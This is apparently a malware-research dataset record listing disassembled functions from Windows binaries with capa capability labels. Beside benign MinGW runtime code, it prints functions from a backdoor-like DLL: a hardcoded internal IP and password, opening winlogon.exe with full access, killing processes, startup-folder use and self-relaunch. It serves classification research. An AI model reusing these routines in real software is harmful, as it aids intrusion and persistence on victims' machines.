joyce8/EMBER2024-capa huggingface dataset:
Function at 0x22bb81790
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x22bb87054]
mov r12, rcx
mov rsi, rdx
mov rbx, r8
test edi, edi
jle 0x22bb81940
mov rax, qword [0x22bb87058]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x22bb817dc
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x22bb81867
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x22bb817c0
mov rcx, r12
call dbg.__mingw_GetSectionForAddress
mov rbp, rax
test rax, rax
je 0x22bb8199d
mov rax, qword [0x22bb87058]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call dbg._GetPEImageBase
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x22bb87058]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x22bb81982
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x22bb81860
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x22bb818f0
add dword [0x22bb87054], 1
cmp ebx, 8
jae 0x22bb81898
test bl, 4
jne 0x22bb81950
test ebx, ebx
je 0x22bb81889
movzx eax, byte [rsi]
mov byte [r12], al
test bl, 2
jne 0x22bb81970
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsi]
lea rcx, [r12 + 8]
and rcx, 0xfffffffffffffff8
mov qword [r12], rax
mov eax, ebx
mov rdx, qword [rsi + rax - 8]
mov qword [r12 + rax - 8], rdx
sub r12, rcx
add ebx, r12d
sub rsi, r12
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x22bb81889
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rsi + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x22bb818ca
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rdi, qword [0x22bb87058]
mov qword [rdi + 8], rcx
mov r9, rdi
mov qword [rdi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x22bb81860
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
xor edi, edi
jmp 0x22bb817e7
mov eax, dword [rsi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rsi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x22bb81889
mov ebx, ebx
movzx eax, word [rsi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x22bb81889
mov rax, qword [0x22bb87058]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call dbg.__report_error
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop dword [rax]
Function at 0x22bb81ca0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x22bb87080]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x22bb87060]
test rbx, rbx
je 0x22bb81cf4
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x22bb81ceb
test r12, r12
je 0x22bb81ceb
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x22bb81cd0
lea rcx, [0x22bb87080]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x22bb81f20
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
jne 0x22bb81f30
jmp sym._ValidateImageBase.part.0
xor eax, eax
ret

Function at 0x22bb81f40
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x22bb81f85
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp r8, rdx
ja 0x22bb81f7c
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x22bb81f87
add rax, 0x28
cmp rax, r9
jne 0x22bb81f68
xor eax, eax
ret

Function at 0x22bb82030
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x22bb84460]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x22bb820a9
mov rcx, r10
call sym._ValidateImageBase.part.0
test eax, eax
je 0x22bb820a9
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x22bb820a6
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
nop dword [rax]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x22bb8209d
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x22bb820a9
add r8, 0x28
cmp r8, r9
jne 0x22bb82088
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret

Function at 0x22bb82190
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x22bb84460]
xor eax, eax
cmp word [r9], 0x5a4d
mov r8, rcx
jne 0x22bb821ff
mov rcx, r9
call sym._ValidateImageBase.part.0
test eax, eax
je 0x22bb821ff
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add r9, rax
movzx eax, word [r9 + 0x14]
movzx edx, word [r9 + 6]
lea rax, [r9 + rax + 0x18]
test edx, edx
je 0x22bb821fd
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x22bb821f4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x22bb82208
add rax, 0x28
cmp rax, r9
jne 0x22bb821e0
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret
Function at 0x22bb82220
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x22bb84460]
xor r9d, r9d
cmp word [r11], 0x5a4d
mov r8d, ecx
jne 0x22bb82298
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x22bb82298
movsxd rcx, dword [r11 + 0x3c]
add rcx, r11
mov eax, dword [rcx + 0x90]
test eax, eax
je 0x22bb82298
movzx edx, word [rcx + 0x14]
lea rdx, [rcx + rdx + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x22bb82298
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r10, [rdx + rcx*8 + 0x28]
nop dword [rax + rax]
mov r9d, dword [rdx + 0xc]
mov rcx, r9
cmp rax, r9
jb 0x22bb8228c
add ecx, dword [rdx + 8]
cmp rax, rcx
jb 0x22bb822a0
add rdx, 0x28
cmp rdx, r10
jne 0x22bb82278
xor r9d, r9d
mov rax, r9
add rsp, 0x28
ret
add rax, r11
jmp 0x22bb822b0
sub r8d, 1
add rax, 0x14
mov ecx, dword [rax + 4]
test ecx, ecx
jne 0x22bb822be
mov edx, dword [rax + 0xc]
test edx, edx
je 0x22bb82295
test r8d, r8d
jg 0x22bb822a8
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
add rsp, 0x28
ret
Function at 0x180001900
Capabilities:
Initialize winsock library

Disassembly:
push rbx
sub rsp, 0x1d0
mov rax, qword [0x18002e1e0]
xor rax, rsp
mov qword [rsp + 0x1c0], rax
mov rbx, rcx
call fcn.1800019a0
lea r11, vtable.CTcpSocket.0
lea rcx, [rbx + 0x130]
mov qword [rbx], r11
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea rdx, [rsp + 0x20]
mov ecx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rbx + 0x378], 0xffffffffffffffff
mov qword [rbx + 0x148], rax
xor eax, eax
mov dword [rbx + 0x150], eax
mov qword [rbx + 0x368], rax
mov rax, rbx
mov rcx, qword [rsp + 0x1c0]
xor rcx, rsp
call fcn.18000e030
add rsp, 0x1d0
pop rbx
ret

Function at 0x180001b30
Capabilities:
Set socket configuration

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x30
mov rdi, rcx
mov rcx, qword [rcx + 0x378]
lea r9, [rsp + 0x40]
mov edx, 0xffff
mov r8d, 0x80
xor ebx, ebx
mov dword [rsp + 0x40], 1
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
mov rcx, qword [rdi + 0x378]
call qword [sym.imp.KERNEL32.dll_CancelIo]
xchg dword [rdi + 0x150], ebx
mov rcx, qword [rdi + 0x378]
call qword [sym.imp.WS2_32.dll_closesocket]
mov rcx, qword [rdi + 0x148]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov rbx, qword [rsp + 0x48]
mov qword [rdi + 0x378], 0xffffffffffffffff
add rsp, 0x30
pop rdi
ret
Function at 0x1800021e0
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r13
push r14
sub rsp, 0x20
xor edi, edi
mov r14d, r8d
mov rsi, rdx
mov r13, rcx
mov ebp, r8d
mov r12d, edi
cmp r8d, 0x40000
jl 0x180002271
nop dword [rax + rax]
mov ebx, edi
nop word [rax + rax]
mov rcx, qword [r13 + 0x378]
xor r9d, r9d
mov r8d, 0x40000
mov rdx, rsi
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x180002254
inc ebx
cmp ebx, 0xf
jl 0x180002230
cmp ebx, 0xf
je 0x1800022d2
sub ebp, 0x40000
add r12d, eax
add rsi, 0x40000
cmp ebp, 0x40000
jge 0x180002220
test ebp, ebp
jle 0x1800022a9
nop word [rax + rax]
mov rcx, qword [r13 + 0x378]
xor r9d, r9d
mov r8d, ebp
mov rdx, rsi
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x1800022a1
inc edi
cmp edi, 0xf
jl 0x180002280
cmp edi, 0xf
je 0x1800022d2
add r12d, eax
or eax, 0xffffffff
cmp r12d, r14d
cmove eax, r12d
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x20
pop r14
pop r13
pop r12
ret
or eax, 0xffffffff
jmp 0x1800022b3
Function at 0x180002700
Capabilities:
Check for time delay via queryperformancecounter
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x30
mov rsi, rcx
mov rcx, qword [rcx + 0x148]
mov rdi, r9
mov ebp, r8d
mov r12, rdx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rcx, qword [rsi + 0x388]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor r14d, r14d
lea rcx, [rsi + 0x138]
mov eax, r14d
xchg dword [rsi + 0x150], eax
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rcx, [rsi + 0x160]
mov r8, rdi
mov edx, 0xff
call fcn.18000e5a4
lea rcx, [rsi + 0x160]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rdx, [rsi + 0x160]
lea rcx, [rsi + 0x160]
lea eax, [rax + rax + 2]
movsxd r8, eax
mov dword [rsi + 0x360], eax
call fcn.18000e060
movsxd r11, dword [rsi + 0x360]
lea eax, [r11 + 4]
mov rcx, r11
mov dword [rsi + 0x364], eax
call fcn.180006b40
mov qword [rsi + 0x380], rax
test rax, rax
je 0x180002815
mov rcx, qword [rsi + 0x378]
mov edi, 1
movzx r8d, bp
mov rax, qword [rcx + 8]
add rcx, 8
mov rdx, r12
mov r9d, edi
mov word [rsp + 0x28], r14w
mov qword [rsp + 0x20], r14
call qword [rax]
mov rcx, qword [rsi + 0x388]
mov edx, 0x1770
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x18000281c
cmp eax, 0x102
je 0x180002808
cmp eax, 0xffffffff
jne 0x180002815
mov rcx, qword [rsi + 0x388]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor al, al
jmp 0x18000289f
lea rcx, [rsi + 0x140]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsi + 0x140]
sub rax, qword [rsi + 0x138]
pxor xmm0, xmm0
pxor xmm1, xmm1
cvtsi2sd xmm0, qword [rsi + 0x130]
cvtsi2sd xmm1, rax
divsd xmm0, qword [0x180028848]
divsd xmm1, xmm0
movsd qword [rsi + 0x128], xmm1
xchg dword [rsi + 0x150], edi
mov rcx, qword [rsi + 0x388]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea r11, [rsp + 0x60]
lea r8, [0x1800028c0]
mov qword [rsp + 0x28], r11
mov r9, rsi
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], r14d
call fcn.18000ea20
mov qword [rsi + 0x390], rax
mov al, 1
mov rbx, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x70]
add rsp, 0x30
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret

Function at 0x1800031e0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
mov esi, r8d
mov r8, rcx
mov ebx, edx
lea rcx, str.192.168.50.142
mov edx, 0xff
mov rdi, r9
call fcn.18000e5a4
lea rcx, str.123456
mov r8, rdi
mov edx, 0xff
mov dword [0x18002fb70], ebx
call fcn.18000e5a4
xor eax, eax
lea r8, [0x180002f80]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov dword [0x18002fdd8], esi
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
or edx, 0xffffffff
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x12c
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
jmp qword [sym.imp.KERNEL32.dll_Sleep]
Function at 0x180003280
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
xor eax, eax
lea r8, [0x180002f80]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], eax
mov dword [0x18002fddc], 0xe
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
add rsp, 0x38
ret
Function at 0x180003d10
Capabilities:
Accept command line arguments
Create process on windows
Terminate process

Disassembly:
push rbx
sub rsp, 0x2f0
mov rax, qword [0x18002e1e0]
xor rax, rsp
mov qword [rsp + 0x2e0], rax
lea rdx, [rsp + 0xe0]
mov r8d, 0x1fe
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea rcx, [rsp + 0x70]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
lea r11, [rsp + 0x50]
mov qword [rsp + 0x48], r11
lea rax, [rsp + 0x70]
lea rcx, [rsp + 0xe0]
mov qword [rsp + 0x40], rax
xor eax, eax
xor r9d, r9d
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
xor r8d, r8d
mov rdx, rbx
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
or ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x180003db0
Capabilities:
Create directory
Delete file
Get common file path
Move file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r13
push r14
sub rsp, 0x40
xor eax, eax
mov rdi, rcx
mov ecx, 0x410
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x20], 0x18
call fcn.180006b40
mov ecx, 0x410
mov r14, rax
call fcn.180006b40
mov ecx, 0x410
mov r12, rax
call fcn.180006b40
mov ecx, 0x410
mov rbp, rax
call fcn.180006b40
mov ecx, 0x410
mov r13, rax
call fcn.180006b40
mov rdx, r14
mov ecx, 0x208
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
call fcn.18000ecfc
call fcn.18000ed14
lea rdx, [0x180028330]
mov r9d, eax
mov r8, r14
mov rcx, r12
lea ebx, [rax + 1]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rdx, [rsp + 0x20]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea r9, str....._
lea rdx, str._s_s
mov r8, r12
mov rcx, rbp
call qword [sym.imp.USER32.dll_wsprintfW]
lea rdx, [rsp + 0x20]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rdx, str._s_d
mov r9d, ebx
mov r8, rbp
mov rcx, r13
call qword [sym.imp.USER32.dll_wsprintfW]
mov rdx, r13
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_MoveFileW]
lea rdx, str._s_d
mov r9d, ebx
mov r8, r12
mov rcx, rsi
call qword [sym.imp.USER32.dll_wsprintfW]
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_MoveFileW]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test r14, r14
je 0x180003f09
mov rcx, r14
call fcn.18000e3f0
test r12, r12
je 0x180003f16
mov rcx, r12
call fcn.18000e3f0
test rbp, rbp
je 0x180003f23
mov rcx, rbp
call fcn.18000e3f0
test r13, r13
je 0x180003f30
mov rcx, r13
call fcn.18000e3f0
test rsi, rsi
je 0x180003f3d
mov rcx, rsi
call fcn.18000e3f0
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
mov al, 1
add rsp, 0x40
pop r14
pop r13
pop r12
ret
Function at 0x1800041f0
Capabilities:
Get token privileges

Disassembly:
mov qword [rsp + 0x10], rdx
push rbp
push rdi
sub rsp, 0x38
xor r9d, r9d
lea rax, [rsp + 0x60]
xor r8d, r8d
lea edx, [r9 + 3]
mov rbp, rcx
mov dword [rsp + 0x60], 0
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov edi, eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x1800042fc
mov qword [rsp + 0x50], rbx
mov ebx, dword [rsp + 0x60]
mov qword [rsp + 0x30], rsi
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rsi, rax
test rax, rax
je 0x1800042e9
mov r9d, dword [rsp + 0x60]
lea rax, [rsp + 0x60]
mov r8, rsi
mov edx, 3
mov rcx, rbp
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov ebx, eax
test eax, eax
je 0x1800042c2
mov r9d, dword [rsi]
mov rax, qword [rsp + 0x58]
mov r8d, dword [rsp + 0x5c]
xor ebx, ebx
lea rcx, [rsi + 8]
xor edx, edx
nop word [rax + rax]
cmp edx, r9d
jae 0x1800042c2
cmp dword [rcx - 4], eax
jne 0x1800042b6
cmp dword [rcx], r8d
jne 0x1800042b6
mov ebx, 1
jmp 0x1800042b8
xor ebx, ebx
inc edx
add rcx, 0xc
test ebx, ebx
je 0x1800042a0
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rsi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rsi, qword [rsp + 0x30]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
add rsp, 0x38
pop rdi
pop rbp
ret
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x30]
mov eax, edi
add rsp, 0x38
pop rdi
pop rbp
ret
mov eax, edi
add rsp, 0x38
pop rdi
pop rbp
ret

Function at 0x1800043c0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
sub rsp, 0x270
mov rax, qword [0x18002e1e0]
xor rax, rsp
mov qword [rsp + 0x260], rax
mov rbp, rcx
lea rcx, [rsp + 0x24]
xor edx, edx
mov r8d, 0x234
mov dword [rsp + 0x20], 0
call fcn.18000fe40
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x180004414
xor eax, eax
jmp 0x180004483
lea rdx, [rsp + 0x20]
mov rcx, rax
mov qword [rsp + 0x288], rsi
mov qword [rsp + 0x290], rdi
mov dword [rsp + 0x20], 0x238
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x180004468
nop
lea rsi, [rsp + 0x4c]
lea rdi, str.winlogon.exe
mov ecx, ntohs
repe cmpsw word [rsi], word [rdi]
mov rcx, rbx
je 0x1800044a4
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x180004440
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rsi, qword [rsp + 0x288]
mov rdi, qword [rsp + 0x290]
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.18000e030
mov rbx, qword [rsp + 0x298]
add rsp, 0x270
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, dword [rsp + 0x28]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp], rax
mov eax, 1
jmp 0x180004473
Function at 0x1800048d0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x270
mov rax, qword [0x18002e1e0]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor edx, edx
mov rsi, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x180004947
nop word [rax + rax]
lea rdx, [rsp + 0x20]
mov rcx, rdi
mov dword [rsp + 0x20], 0x238
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x18000496b
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x180004910
or eax, 0xffffffff
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.18000e030
mov rsi, qword [rsp + 0x290]
add rsp, 0x270
pop rdi
ret
mov qword [rsp + 0x288], rbx
nop word [rax + rax]
lea rcx, [rsp + 0x4c]
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x1800049c4
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, dword [rsp + 0x28]
xor edx, edx
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor edx, edx
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x180004980
mov rbx, qword [rsp + 0x288]
mov eax, 1
jmp 0x18000494a
Function at 0x180004d10
Capabilities:
Get common file path
Get startup folder

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x460
mov rax, qword [0x18002e1e0]
xor rax, rsp
mov qword [rsp + 0x450], rax
mov rdi, rdx
call fcn.1800048d0
xor r9d, r9d
lea rdx, [rsp + 0x30]
lea r8d, [r9 + 7]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea r8, [rsp + 0x20]
lea rdx, [0x1800287bc]
lea rcx, [rsp + 0x30]
call fcn.18000f118
xor ebx, ebx
test rax, rax
je 0x180004d87
cmp ebx, 2
je 0x180004d87
lea r8, [rsp + 0x20]
lea rdx, [0x1800287bc]
xor ecx, ecx
call fcn.18000f118
inc ebx
test rax, rax
jne 0x180004d68
lea rdx, [0x1800287c0]
lea rcx, [rsp + 0x240]
mov r9, rdi
mov r8, rax
call qword [sym.imp.USER32.dll_wsprintfW]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x240]
call fcn.1800049f0
mov rcx, qword [rsp + 0x450]
xor rcx, rsp
call fcn.18000e030
mov rbx, qword [rsp + 0x480]
add rsp, 0x460
pop rdi
ret

Function at 0x180006d30
Capabilities:
Set socket configuration

Disassembly:
jmp 0x1800084b0
mov dword [rsp + 0x10], edx
sub rsp, 0x38
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 0x1002
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
add rsp, 0x38
ret

Function at 0x180006d40
Capabilities:
Set socket configuration

Disassembly:
jmp 0x1800084e0
mov dword [rsp + 0x10], edx
sub rsp, 0x38
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 0x1001
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
add rsp, 0x38
ret

Function at 0x1800084b0
Capabilities:
Set socket configuration

Disassembly:
jmp 0x1800084b0
mov dword [rsp + 0x10], edx
sub rsp, 0x38
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 0x1002
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
add rsp, 0x38
ret

Function at 0x1800084e0
Capabilities:
Set socket configuration

Disassembly:
jmp 0x1800084e0
mov dword [rsp + 0x10], edx
sub rsp, 0x38
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 0x1001
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
add rsp, 0x38
ret

Function at 0x180008510
Capabilities:
Set socket configuration

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rdi, rcx
mov dword [rsp + 0x50], 1
mov dword [rsp + 0x48], 0
test edx, edx
jne 0x180008538
lea r9, [rsp + 0x50]
jmp 0x180008542
cmp edx, 1
jne 0x18000858b
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 0xfffffffb
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 4
mov rcx, rdi
mov dword [rsp + 0x20], 4
mov ebx, eax
call qword [sym.imp.WS2_32.dll_setsockopt]
or eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
cmp edx, 2
jne 0x1800085de
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 0xfffffffb
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
lea r9, [rsp + 0x50]
mov edx, 0xffff
mov r8d, 4
mov rcx, rdi
mov ebx, eax
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
or eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
mov ecx, 0x57
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rbx, qword [rsp + 0x40]
or eax, 0xffffffff
add rsp, 0x30
pop rdi
ret